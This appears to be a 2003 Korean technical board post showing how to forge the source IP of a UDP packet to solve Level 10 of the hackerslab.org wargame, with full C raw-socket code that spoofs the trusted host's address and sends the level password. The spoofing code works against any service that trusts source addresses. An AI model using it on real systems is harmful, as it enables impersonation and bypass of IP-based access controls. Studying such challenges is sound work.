System/OS
2003.04.23 10:34
[linux] 패킷의 소스 주소 바꾸기
Views 18868 Comment 0
[ Packet의 Source IP address 바꾸기 ]
UDP Packet ( Source IP manuplating )
일반적인 기법으로 UDP Packet을 날리면, 그 packet이 어디에서 출발하였는 지는
그 packet를 날린 머신의 IP 어드레스가 되지요....
다음은 www.hackerslab.org에서 하는 Hacking Test Level 10의 문제입니다.
--------------------------------------------------------------------------
현재 해킹 자유지대 서버에는 특정 데몬이 떠 있다. 이 데몬은 UDP 5555번 포트를
이용하는데 www.hackerslab.org 호스트로부터 레벨의 10의 패스워드와 이메일 주소가
담긴 패킷이 오면 그 email 주소로 level 11의 패스워드를 알려준다.
그 해당 포맷은 다음과 같다.
'Level10의 패스워드/email 주소'
Ex) level10 의 패스워드가 abcd 고 email 주소가 abc@aaa.ccc.ddd..rr 이라면
'abcd/abc@aaa.ccc.ddd.rr'
반드시 www.hackerslab.org 로부터 패킷이 와야 성공할 수 있으니 주의하기 바란다.
--------------------------------------------------------------------------
근데 이 문제를 풀려면 정말 www.hackerslab.org를 먼저 해킹하여 로그인 한 뒤 UDP packet을
날려야 할까요?
Packet의 Source IP address를 바꿀 수 있는 Source가 아래와 같습니다.
NOTE: 단, root의 권한으로 실행하셔야 합니다.
[javaservice@ns javaservice]$ cat sendudp.c
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
/* www.hackerslab.org */
#define SRC_IP "203.239.110.1"
/*#define SRC_IP "165.244.228.27"*/
#define SRC_PORT 8888
/* drill.hackerslab.org */
#define DEST_IP "203.239.110.20"
#define DEST_PORT 5555
/*#define DEST_IP "javaservice.net"*/
/*#define DEST_PORT 6090*/
#define IPVERSION 4
struct raw_pkt_hdr {
struct iphdr ip; /* This is Linux-style iphdr.
Use BSD-style struct ip if you want */
struct udphdr udp;
};
struct raw_pkt_hdr* pkt;
unsigned short checksum(unsigned short* addr, char len);
int main(int argc, char *argv[])
{
int sockfd, len;
struct sockaddr_in their_addr; /* connector's address information */
struct hostent *he;
int numbytes;
char *msg= "Beauty and Beast/javaservice@hanmail.net";
len = sizeof(struct raw_pkt_hdr)+strlen(msg)+4;
pkt = calloc((size_t)1,(size_t)len);
pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_UDP;
pkt->ip.check = 0;
pkt->ip.saddr = inet_addr(SRC_IP);
pkt->ip.daddr = inet_addr(DEST_IP);
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));
pkt->udp.source = htons(SRC_PORT);
pkt->udp.dest = htons(DEST_PORT);
pkt->udp.len = htons(len - sizeof(struct iphdr));
pkt->udp.check = 0;
sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"%s", msg);
if ((sockfd = socket(AF_INET, SOCK_RAW, 255)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET; /* host byte order */
their_addr.sin_port = htons(5656); /* short, network byte order */
their_addr.sin_addr.s_addr = inet_addr(DEST_IP);
bzero(&(their_addr.sin_zero), 8); /* zero the rest of the struct */
if ((numbytes=sendto(sockfd, pkt, len, 0, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1) {
perror("sendto");
exit(1);
}
printf("sent %d bytes to %sn",numbytes, inet_ntoa(their_addr.sin_addr));
close(sockfd);
return 0;
}
unsigned short checksum(unsigned short* addr,char len){
/* This is a simplified version that expects even number of bytes */
register long sum = 0;
while(len > 1){
sum += *addr++;
len -= 2;
}
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);
return ~sum;
}
[javaservice@ns javaservice]$
-------------------------------------------------------
본 문서는 자유롭게 배포/복사 할 수 있으나 반드시
이 문서의 저자에 대한 언급을 삭제하시면 안됩니다
================================================
이원영(javaservice@hanmail.net)
236-1, Hyosung-2dong, Kyeyang-gu, Inchun,
407-042, KOREA
Phone:(82-32)540-5243, Fax:(82-32)540-5402
PCS:019-310-7324
No. | Category | Subject | Author | Date | Views |
---|---|---|---|---|---|
993 | Develop | [js]모바일 웹에서 orientationchange | hooni | 2013.04.23 | 19431 |
992 | Etc | 정보시스템(정보보안)의 위험관리 설명 | hooni | 2013.04.23 | 19408 |
991 | System/OS | [mysql] MySQL server has gone away 에러 대응 | hooni | 2013.05.29 | 19390 |
990 | System/OS | 나중에 해봐야지.. libconv 설치.. ㅡ,.ㅡ; | hooni | 2013.04.23 | 19342 |
989 | System/OS | [linux] APM(apache, php, mysql) + gd 설치순서.. | hooni | 2003.04.23 | 18946 |
988 | Develop | 모터에 대한 pid 제어.. ㅎㅎ | hooni | 2013.04.23 | 18942 |
987 | Develop | URI 인코딩, URL 인코딩 | hooni | 2013.04.23 | 18906 |
986 | System/OS | [mac] 컨텍스트(Context) 메뉴 "다음으로 열기" 내용 정리 | hooni | 2013.07.10 | 18905 |
» | System/OS | [linux] 패킷의 소스 주소 바꾸기 | hooni | 2003.04.23 | 18868 |
984 | Develop | [ios] Objective-C에서 형식이 있는 문자열(Format Strings)에 사용할 수 있는 토큰들(Tokens) | hooni | 2013.04.23 | 18845 |
983 | Develop | [ios] libxml/tree.h file not found | hooni | 2013.08.08 | 18771 |
982 | Database | [mysql] 접속과 테이블 생성 간단한 설명.. | hooni | 2003.04.23 | 18749 |